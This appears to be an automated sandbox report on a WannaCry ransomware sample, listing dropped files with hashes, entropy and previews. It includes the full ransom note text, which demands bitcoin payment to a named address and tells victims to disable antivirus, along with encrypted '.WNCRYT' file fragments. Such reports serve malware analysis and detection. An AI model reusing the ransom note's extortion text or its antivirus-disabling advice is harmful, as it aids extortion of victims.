                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\UEV\Scripts\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):904
                                      Entropy (8bit):7.768272339952166
                                      Encrypted:false
                                      SSDEEP:24:bkoUTO9a7IS6VyTU2OS2nyUZOQETXmIlEuU6X6SHoK+SRiH:bkNTO9a0sTU2inyUZMDmICD6/Ip
                                      MD5:B8D6F8700EB25EFF6E8D50D31218DAA5
                                      SHA1:4B5AA7472D739798BA93A515F11A02BC32869475
                                      SHA-256:62FA8A21D375F15722DF2E6DC136090A9E0FD2757B8E99241A57D86698BB4C25
                                      SHA-512:A6B4834FD7174EE5FA9DC45D04272DE6CFC456101EC50565B3076F7A1D69C34B7EC6654013562AB40E52DD8A890A4E214451EE99C55FDFEA97120DA621EFD95E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....V.n....~.....7;..K...u.b...h5.Y...."#.....~i...]..I..."{.k.q)i...?a..~.,1.../.."..E.Ku....I.0.......=4.h..$...92..N.@.X.W.@z..K.....o.,o..KH......m..p..t:....j..l..Y....<[A.z6......f.(... ...`...]....p4 .........q.........Y..]p#..b.pQ~r......c..........XXP..I.!..H...].G...MBT..X....MwMi..t>.1...rGS......}..k..I.o..'....[G.....qc-..D.....x~9=E.~.....R.$.....@.nT1..`.....z[..!.Md.j.r...F.EX..k....mJ.....I1..W'D.P......uV...2..|.|.QM...qNH......K>2.%..?.....nx.(IH-5..8....N.QM..?.[S.".K.C._`.b..K?.P.o{6.!.p...../....R.^\bM`..b.*_.v:.]e....b.s..k.B0.V-f'..33o.Y. _.F........y.W.m...V.).....Z..........EC.c......j..G.X[u...E...k...8#zW....!ErdW..Lv...3M...O.{.m.D*.w..3..,.<..Bh..w....$a6Py.f..U..g...=.v...Dj.q...q...o..U.7Ah]./.^.K....<.Q..7....s...Q.ZU..nB...VN.3.:..f...o..M...C....?.A.y...2...A......5A=.....3U!P..........JL..u.?../4}

                                      C:\ProgramData\Microsoft\User Account Pictures\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\ProgramData\Microsoft\User Account Pictures\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):602456
                                      Entropy (8bit):7.999673233186557
                                      Encrypted:true
                                      SSDEEP:12288:GXiuJN2cujC9nfeJOpagKtLUARvCqSK7NY/jgPOAkUHYk:4JgcLS8agCLrvCqSSGjF4H
                                      MD5:79210B377007CD042AA34283DC9CCBAE
                                      SHA1:CF93C61F0727F02CA11F473F37E50D33C4E494C0
                                      SHA-256:CD2E67D1A286B60E4EE7A0C0CF59D238CF87AC2D69591E55A749D5B272D0482F
                                      SHA-512:49B4256473009ED40F8C31B67A444531C6971DB50035762FB75E09E10ECE1D6E5859A721594F0F63C7910D549941D3102565FF5E2E5DCA372CF6D880BD3DAF5D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....p.M....n..P.h..>......`.k"........9.v....S....p..;."..1...........aL.a..>..6;.T..J..].K.D..bn..3r.G@e.\;X...:n:j..R$......S]..=..mf{o(.:..0.v...E...O..0H....~..}..../e.I..z...}....0.cfK.n.....@@.D.a..Y'v^..[.....g..\i...Wj....q.../..J.o..}KG......80......R.......3..e.8n7s.Q..A....+2..<n.].V....g.H"..T7....^6....N.7.[..s.c.h.:.;.....843(G....F..6..I.7..y.j....t1F...^5....h.@.X..B[u.K...WC<V.{M.-.i#.\j.i.`.V.R9..Da....-l.}...\.K.an:..t./.M..]..*...#.un...)8:*....g...../C..F!7...{...0.hR>......V.&.?j.S=..6.V.#....m[.......R.b..#k..8H._....0....i.....<..2.M/..,..;w]H.....".....M..{.>.....M..r.S|4I.Z` .y.6.)Y&...B...K..I.&...*.........1.....F...=.k...d..TrV..e.x-......?.a...Vq...9.,.5....I....7.O..@v.J...|.N....q....#xef..c.-..u..,.8..ib..~.+.......K..I...}Y.JB.k9%..+..9......).M..&.V..wl..<......Pi.jE_...`4}1.........}.h..`O$.........{.+..q....F..x.~.O..\9 ..{+6.[n.......D.....%;..5....2..oy...k,"4....Z<nr..&0...v&..9.....6._v

                                      C:\ProgramData\Microsoft\User Account Pictures\guest.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6344
                                      Entropy (8bit):7.967580482290147
                                      Encrypted:false
                                      SSDEEP:192:gSqMMgSGIGs+GB/iUK1wI1wIthHd335WBSD:LdMpGI/ZB/H035W8D
                                      MD5:088DC0FF7479C6418967C30AF1459835
                                      SHA1:075CC6FCB746D14CFF5E800A65E68AC2A73EB82B
                                      SHA-256:1CCD4A2DC363391A6145BEF7E6FC728CF8C7F83BECB24ECBFF548993F00053C6
                                      SHA-512:11BBC7769E6B92AC72FB0F069ADDC743E345AE3B65D68496F0ADD1C5299B5F2274A9541C647EA0D01366BBA97D15C218F4147DEA576C2F613037415FF58AE398
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......rQ|MEr+0.[|...J...}..r'.@.s..q.M...... .:L...k............`op~..T.ca=.\&pd'Y...8..w1...*D.....5.PeG.i.i~%o...xmR0...9.a'.[..).'.8..^......lk..j..]..Y..UF......E...Z.^p.G.O.&MY.xa@..0<M4$./.G..H.!....[J.....Y..U.7...Se=...0...X.,.......r.*.$...dfg..............1../.kR.)..O.Lu...H>A.....v.G.B..f2.....m&Fyl...4g.b.u..S...@...5QI+....%.u.&{...$.)a/&.J..[.)..".o.P...K.k..~dsn......q.....bL...iJ.,[p.....9....f.E.p../....#.......@.=....(.B....V....g.^.......C.....A.)wV..Q.S].~.(....a.y8.ga..m.....v.>.<......=#...~9.kK....x..........a..oOd...;..d..HcT.....o.Y....M...Q(.e.R..Q...r2lgyR...Bx.SN....../zq........./.....w+Yja... .[.!.{..1.?.{|.?2.$..U."G7.'(..\.......s...(....gK..+.u.N.@]....z.\..y<..~..O..BHE...b.+X....c.Jd...lgR.G5.q..@:...&Q..=...N.,HH.k..d.p.f...M...=lD.#.).7..<....1.n.L.:.CV@V..J..~..;L..,.RX............Y..xt..8.....0Y.4~....jj3....l.IdA.X...qcR..G.._.)....@...L.ED..*@.1w.A.'Mm......f...T....c@)<x3sH.V..t9.C2HeWt....U

                                      C:\ProgramData\Microsoft\User Account Pictures\user-192.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2680
                                      Entropy (8bit):7.9298736558428065
                                      Encrypted:false
                                      SSDEEP:48:bkglXX2FFpdYCBanxjt8TddTaFNKkvBaYfh0SgcghPDDWCVpCiboM6h2Z:oS2F3dYUaFt8TGAkJaYfh0SgXPDNfCiP
                                      MD5:C62394A811FDFCF37D1528E9FD9958DE
                                      SHA1:2F914244CF0B7B1BF216008040534A7F69346FA5
                                      SHA-256:1DB0B406D1A54FA37CD4BC16AB4EE4014CC27AAB6347295C49D04B3CBF60E744
                                      SHA-512:8FCFBB29D846038F16FD32C9A2520CBD2D009E7435D9C2B394FAEC9D1EB6D7E913D5A33398C8E661FCBD0BEF33288353D82EB73E90B3292CC6CDBC4C12D2D0C5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....O.o.p......:G..Z ...)W'v.;qh84.)5.kf.7l..Ev....S.m.Wg..>.C.1....nwF....T.....J..{..X.S....cS,\.......I>..T.s..g........>.!.....d.5.Q.S...C...L.d.Iyi..DW....|.|....#.e......l.K u9.)T.1.. .6...*W.....B....=A....=.u{R. .....&0..k.i.k.......X..........EG...........7.<].m..[L...L.4N.S..6.*R... .8.-.i.......00@.L......<.s..W........Q(..n.....d.|.J...........O..(s....E....{\..S\{.\9d..........86.G....(a....{...OwW.v..yY........._OE...bm.S...;.3dNtZ.4.P.D.....v.......O.!...?.A.....^.Z..P..Z.......2T../..i..ASA%...;W.g4.@.-....*)...0.U....u.I.....T=^Y....T..*%.`...... ...q.....\..FS.......[i.....H.C.\..tow}e..u...~.....$.;<..Q.^.d..?$..AJ...#nc.._0.'<W......~.._./.B...?....p[..w..b..UV._.h.#.b..:...../.....f..._iX/..h_u..X....c.E.c......15J..I......n.t.e.>....#c...XV.*.n....C.%....nS.t....-%.N.....R.R....4."..^...qr..E.+w....9$T"Y..D.,Z..t.^...x...J....T.u.e.k.....m...y.U....[..a....O.......v..Yk.4....H.D#(h...7...........r6F.n

                                      C:\ProgramData\Microsoft\User Account Pictures\user-32.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):728
                                      Entropy (8bit):7.66965253373152
                                      Encrypted:false
                                      SSDEEP:12:bkE0l4eDsysgI1DbRFSUeRjUPqRoLZhJZmc90bsUrh4NjcXBQksCfdpR3atS:bkPNDsygDbqpjsZWp4Vc1dpR3n
                                      MD5:8A9FB09D083E89203BFC12FC296B9F9E
                                      SHA1:88C8EC726BD14E65CEBAA66FC50D135CE8B760A2
                                      SHA-256:6A0FFD7E3414BAD7A162FE116F55D60846F5F1B1E8E2EA1D2338690B3310F4B7
                                      SHA-512:C3471FFB10ADB0FFBD5B56B1EBDCF7031E91F3308275259AF109E057E7B8D772E09BB3D65C0CA777B9F406FC1B1B1D1399FB1E65A2004D24D660CC7BC7510511
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........_..[.../.IA..r.c....7gm>.*_...{|...5P....+B....OG..n..o.@Y.h4...y.V.....#HR..D.Q ....]DS.~.a....N{u-M~.E.G.......HB\.B....a*k.s..z{Y*t..|...D..[x..Mc.Xm.....Bc-}..9.{MBa.]....3P+..........R....._..c..Qkp'..d.n ...V:_B.i0.taS.....mU...wQy.x=e^.!J.............l4De......cw..K?..2~.0u.V...X....X..E*.u.@.8.o.D..~Ps.uV...,..............C.9..p.J..4.p..%X.G/.....M=..*....j..g....<t...d.-.z..+...\....s..O...Z.b...].tv....>=.~..w.S...;....V.....l....7>.@,.......OF.i.L|.6......f......M.D*9..(...Ma.A..Me.d...+.q%..oj.:~q..d:...G.m.../f..].U.....O-m...M..V#3.......[.7%.@Nso'.6..4...$b..e.^A.....s....b.UH........&...z./..C...........4n..B...3.A#..LyC.>.k.......W..!....H@:....U.^OX.s....p....

                                      C:\ProgramData\Microsoft\User Account Pictures\user-40.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):808
                                      Entropy (8bit):7.720269029657756
                                      Encrypted:false
                                      SSDEEP:24:bkZBKfnBKfafABD1+Wl94BZ0TOSZJawoFRjOD3:bkZAfCaCDt94H0D4woFR8
                                      MD5:0FC0E2742CEDEF20867459F1EE288B2C
                                      SHA1:EB48A608544797178E49CE15E68096F234974EFB
                                      SHA-256:B441931C584B69F6326B40FEBA53FE724518232B44CB614216D84802F4C805AB
                                      SHA-512:8B1088D35CD35CD65AF5C6927F4699D48CBF46710B789D933773C188D3C9EBFF75F371E50816389405494240EA6B49A06B0B837D3604866E9964AF45AEECC466
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......Wut.:..Du.q....0O.A8+.A..>2}..Q.3..V..j<.s...u@sFN.uN.#.A....JA7...#...fd!\..*0....mR....j<.+...q.5.<...i..-#5y.s..ZR.e.......z....I.TVgsa...pfB#.)..O..7.dW...oe0bJ.%F....Q..7.A...B7....1e......}.S.l....&.....K2.@..k.f..#b4...U..q.d.B.................t.C...@G...[.l..xEX.[.j!Fh{..e.O=eZ........`T?.y?7...o..2K {MU......c...(..x..G.R.*...*...t....:.wn....D.!hf.l%'~...)..IX.m.W..wKj6[...U.Y.H_.....Lo.......`......<...V.hnx....O9..C.Y..f.a.6Q....?L......`&u...[P.7....G..a....R...u5..}.AT?.[6.ZOM-....r.C.[...l.UH.y....x.Hg.hW..Ge.m.3...... ..`a-.;Q....4)...C./J......P\t.1!..f..cl8.E..`..!..]..o...'L...P.$[.4....h..........8...gS.......,...s...Qc.....d......+.[./..d<...O{H....5.bsH\...L.....FZ@....D...|...OZC[2.B.D9'.".9..4..t.h...vO..7...0/...

                                      C:\ProgramData\Microsoft\User Account Pictures\user-48.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):904
                                      Entropy (8bit):7.789826167627441
                                      Encrypted:false
                                      SSDEEP:24:bkSlT2SWwonrxxxCsG5Bfj8SWk5Vwnwy24so5X:bkqT5WPxsPBf4SWQCwy2to5X
                                      MD5:D14B4A55708D1154B5A29BCA2D09109A
                                      SHA1:02077B4940590EFE24F5698276DC4793343BD4B8
                                      SHA-256:2AEA0FA9B1D373BD7ECEDD7E74D46BCCFF90032F10B6D862FB8B9313AE511C36
                                      SHA-512:AF7329E42838DF7B799F8C52B2BB29B41AB49AABA7A6C4C6116BE3A7C10EF91D8F1C3D0A3D90D7202FB24B11C3331BB98ED9F54DA16B2E84AE39DA734D0D85A6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....-y...4...-.v.{....e.{.Unh.w\..=\..T..@.M...i=...3....a.:.1..".?.)..LJ%41...^.E...^h....(...}... ..e4..\......0l.t..QsY......*a.'F.'...:2..2NX..f..".?;.'v....j;.|........X>Z.w.D..G4......'.2..cY.',&.a...b..'.P..#..V....#N.>..F..'<8YYf9K.c..=B.N|.....i.......<.. .v......iLv.sp...&v L..R...,C....l....$..& ....Z......K+n;........B...!...{2.~..T.t.N=..%.s..8`3..{.V.C]J..?~.N...$.....Ci.K....x... ......j.c....t._....u.......n.....I.O..@.k..h...../.`..!|.Q.....`*...bd...0....?{..'..X..D...'........n.....B`.....J.%Qm..]<.+@.P..R$]Vt..2+k..G$..r..y.}.IFh..^.Z..F.QQ....8B:.....}\(l.[...*.e...m.........d.S..3n3...=.B.V.%V..'M,..J.?..y...b.....xuu....Bq..8..nY.....j.+X..tI~7....d7k{.Oi+T..~#....m.7.+...V..yJ.i-...u...o.y.......*.nEMS.f..1..D+w..%....@...kgM.P{.[...~.>S..e.*p.:.b.:.:.`<.n...-.%.a..C.o...&).....z..$A.#!.q...........)........e.

                                      C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):602456
                                      Entropy (8bit):7.999705716969586
                                      Encrypted:true
                                      SSDEEP:12288:zlvVtNyShNJ6xC5StibU+K2q5lOINUIDRtpPT2PG+ppTI40:ztbDjMK+Tvztt1qGkpTb0
                                      MD5:3DC5F91226FCFAF994CA620F517F22F5
                                      SHA1:A6C4D5D0BF3EF68E4DDF9F8E975B53924370365D
                                      SHA-256:BBDC1BD6E68EF9AC087D080F591B519796B1E6F3FDE266EFFCB71FCA019B3BBB
                                      SHA-512:B3260F6E596537260BE523CC8B6577861B27F3BD81B2D73423C78CE45BD9C9BBCA8D05CB91419B984760013A14ADDD502B35F555206129B5208B4D6262985A38
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....K=....^.{xv....0../.7.1?3.7?.n.d..w.J.........wY....0#8ycU.....L.W.A[........Y"...). c;c..(.z.X.B....._.d...\....v...h.+..Y)...3..Dc*.4.?..K...a52 p.... .'.5..|...U?.......yr.f..}..c.G.h.&..2..49.....^f.v....]..];..8..7z1....S.H9 .).q50B....80..........iOh.......,!..`.@..W...{..It.u&.P..."...h..8~/..Sw*]y.......Jq...&....K.....[.N.e.|.J.o.f..3..~.2Fj.|.1.fz.....Z^..@.......y...<.i....z.Uf6.I..h...`.MXSo.W..k6..^=IN@s..zj.@_-..rP...+...0.L.....\..?.F<.9.#..E$..i..1.....&K|..A...ff....9.._.....4:2.....b.....h...$55.......)....O%v.....~......}C...'. 3.o.>..c..:.:~g.LL.....'..F...}.9..V...v..G.iL.....5As.J%q..4Bb..,-8.y.u...(...4.mS...c..f...8.;$.'c.L..B*....7Fq. .m.gD...c;A..mp..._.....-GS....g.]...i...n........5b.u...A.Vt..<pF.3Z.)q.E@..\....."v.].#A...._Th.&.....,...o.T...4.)..9.=* .R.........'_~.6}W.d\.....l.\..:.X.=.?.ylC.4.q....9.!.3...........7,8D...-o..*#..-..z.v.i].cS[:+.&..3.U.l.....Y9X.V.w....o.^.....Eo.....W.v.a.

                                      C:\ProgramData\Microsoft\User Account Pictures\user.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6344
                                      Entropy (8bit):7.971064522940025
                                      Encrypted:false
                                      SSDEEP:192:3Tb4vGsLmJ+a6b8/CnC0YuXe5gHQREa5m8kZFGc:3TbYG0ETm8/CLpX2tMRr
                                      MD5:DC6E39A863A435AAA4B2E3DE00093424
                                      SHA1:211EB1C065B6EEFA5036F614ECD9158870C6D07F
                                      SHA-256:34BBD08AA905E7D676ADA8CA0F3EC94D4F5796A4DCB9D2F376BEEBB565C14FAC
                                      SHA-512:B29CBDA9FD7CCE69863394DB2BAA411D8526355E46491BF6AE21A2B6708402CBFD0B9D0E6CC050112F9DFAEEA8243747D93CFB1942ABF42EB8610F7E53E31E50
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....}/@....../.t)..........H.D.....J....6.7dT&3...L3...|B.n....N....H.-H.0X..H......o.FEL7O.......6.L5sZ..FAh....!....'!..>......]7\y.J..U...y......Sp>...H.wlo3..3....j7..V.f...x......_Rj..kA...>.........N+....u@j_&.=...}...oh3..9..i....U!.1.X............0.a1.[.*......W(H....fs..2_.A..0.z...@..)-..@...-.*XBt..k'.?.zy...G.........K....}.@..Ikg.,..@T...L.]..L"...P......Kl'.M...V.f..R.(...a.W`....J...'.c.)..b.^..G]Y.m....YU..+b..Zdg.....xv.|...f......MoP3.l....V..^.........z..1...{../C..;._}m..f%.~.D.b*..9.I...|..............NS^*.)....b..^.........l.@Q.d...4k.f....z.F.P.......C..Ub"...,W........f...)vS..W.d|..t..CSUK>Z....a.c........2........?na..)..%.......p.i..hSBQgY....+jv.vy.1....;...^..t..d.M...4.t..zDJ./.;.nZ/U.3...?.Vy....@.6....l.0..@..._#D.k.....z.KIC....=/.....z..|.IcV..Ev..%.-...U...../......*`r.....U.8Y.Z...{6..~.rV.......u...%......[..4..".?...(.IlK.{8&.,..=.7.x>5+..p.R..M.3...I.......*.$0>.J....Gv.......h...

                                      C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2107.4-0\ThirdPartyNotices.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):7000
                                      Entropy (8bit):7.969962992266547
                                      Encrypted:false
                                      SSDEEP:96:oMuntclX2saGVjB/CsI8PoQ8FTQGeqT2VfmeAz/eel63zIO7LivFvA7YOmfhGamO:AWIujBaWF8pu/Az/en822G+Fj
                                      MD5:444B9FF4A898FC7E6BBFE677398334BE
                                      SHA1:BFEBD4C4D2E78F07E3D48D39B0D4F402F54E4DE1
                                      SHA-256:6ABFEA8D37339A70B103D8F305AFC4F76301C1901E0D9A838E30AB3D2D87ACF9
                                      SHA-512:66F11092777157D69B313D487CD29CE225AAA90118D43BB84845EAA76790BB49268D11B4F65C9C1F1A3E16F273F908CBC616C0E5FDD2FBB493642B2FB7130CF2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....B..m;..=4.T.,GPn.A....'.B.W....A.W.D.{.c...\....@..z3..,..W......B....)+....l......f..ZjX..S.*..0.<%..Q.P.B......$...l..IK..F'n"....;..3..U.8.y...LO...I%.a..Do.....".^....W.x...].. qQ.....^.M.{5'.X`4..L.VQ..*...Y..Ph. >..?.[K...fF..6...-..........=........{.>4..'...2.z....$.Lo.W..-.En..a...:..T..z=G...QJ.`x9.d.!.......A-......G.b.....cL.......N..W.<..X.....H.$...h..*@T]DO..a.k%p.. ............Y:.^8.....J|.......y.7h.h/.l../YP.{x.e......U....TZ..R..Q7z....:-u.H%l<...H;.A..A.....R;.yeg..................E.I..).W...1.......P.3....."..{..?l.c.$t..o==.....|..B.j..s.Kn...;...eu{.;g.)..`Z.....e.?o...}E.+a./.y...m..{..7K....y.\.!$.o.Yk...j.C..W,W4a.C.h.J....v....JL....?O....`.C.K.H....H..=......1.(.X......od..,6..i.*Y.Z..ZacH.M;.&i<^S.-.s.C...6.T....`.>zEO.u.p.^..H....>.rdq2.K.y.8EM.....z.Q4...z].{2.N..U.AV.._S..e._+......)l`k23....6.#...Y......ZS..d9.\..E...+W..p.;.&...G4..>....+...9'.T......v...u.....s.8.....u].......,.E..2....-..4.W.-@n|.

                                      C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2108.7-0\ThirdPartyNotices.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):7000
                                      Entropy (8bit):7.966053460322584
                                      Encrypted:false
                                      SSDEEP:96:oy2nOquM90Bx/ZF+9KtBXQkSRsHd0qwnT25cNHfx75eH0eGJ9dEI1dnOyCVNl0aP:8ON/K9KtVNSRQdhwn/tJ4H0rZEt5n
                                      MD5:9DCCC6D5F61B7B01D97DD70F242558F7
                                      SHA1:8342E6C24EDEC144F48CF3FFBB23FA7B4B4176EE
                                      SHA-256:57CCBC40E129285C6307627BD658BFD1C028EE65F0109ADFBF3C8D28EB9FB07A
                                      SHA-512:E71F9283E5A1B07BCDD95659B65D2E89FEB514EB834541A40202C78E4B26AE610AC2C84DC228CAF2A82AD815D88DF598D0D8AFB506C2A9C69E2F8EDBBA6ECC26
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....O1.K....O.G.T.W...k.....!6....4...u^V=....f!.E.F3.......*....A.YKIc.~...U..a^\.E...z.....`..P*.!4,.f'...}.`...6.i...P.l.....?!;q.\Aw....m...}....L..$v...;.....).....S.....w...w.....g............|..@.H.z.u..(...[#|..D...D2...c63.+.....B...l.............=.......c..}s..u.V{4....E....,;m_q.Rq......1x......q.,.....+....htQ..H.A........N...%..Y.4#g.V:d...Q.g*.....W.)r.K...(Z.c.I.....t.J.RJ..Up0......$.Y..^.1..4...E1z..Y..r`[...?g}..8.x.-k..........Y..k...c.u.....v......P?...(d.H...PkL....S....p..<S.ko.Q..'$....@..5.....g^Zpw5{......e.Z..l?..-.q.1..].WB.ZB..D.I..<|...!.ks~..Yi...%..{....kk.._..0.._........&..'P.v.@px...cUd....!...#;.....H........G.@[.z...XJ.'.Qb...<.6aW..v..RF.I.....`....-h/....H)O.G..=e.....q*Tm..c..].(AZ....h.X...$}..,:.rZ..|.!?..O..Jb......+.%....7.]]....x.y0..e..0.-=b..o.l...P.w...Z4$....I..{...vG.....A.."...a..cu_.d...N).0.tv..D..OL..Y6...C.....w.}Zr5.R...4...1=)...v...6.....0O.XL[uu$UUnAY..N.jH.......L...(..b...ds.M..

